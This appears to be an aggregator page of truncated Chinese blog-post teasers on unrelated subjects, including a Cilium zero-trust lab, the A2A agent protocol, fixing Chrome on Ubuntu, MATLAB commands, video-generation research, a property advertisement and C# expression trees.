Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代&#xff0c;智能代理&#xff08;agents&#xff09;不再是孤立的个体&#xff0c;而是能够像一个数字团队一样协作。然而&#xff0c;当前 AI 生态系统的碎片化阻碍了这一愿景的实现&#xff0c;导致了“AI 巴别塔问题”——不同代理之间…...

Linux-07 ubuntu 的 chrome 启动不了

文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了&#xff0c;报错如下四、启动不了&#xff0c;解决如下 总结 问题原因 在应用中可以看到chrome&#xff0c;但是打不开(说明&#xff1a;原来的ubuntu系统出问题了&#xff0c;这个是备用的硬盘&a…...

Matlab | matlab常用命令总结

常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...

【生成模型】视频生成论文调研

工作清单 上游应用方向&#xff1a;控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...

招商蛇口 | 执笔CID,启幕低密生活新境

作为中国城市生长的力量&#xff0c;招商蛇口以“美好生活承载者”为使命&#xff0c;深耕全球111座城市&#xff0c;以央企担当匠造时代理想人居。从深圳湾的开拓基因到西安高新CID的战略落子&#xff0c;招商蛇口始终与城市发展同频共振&#xff0c;以建筑诠释对土地与生活的…...

C#学习第29天:表达式树(Expression Trees)

目录 什么是表达式树&#xff1f; 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持&#xff1a; 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...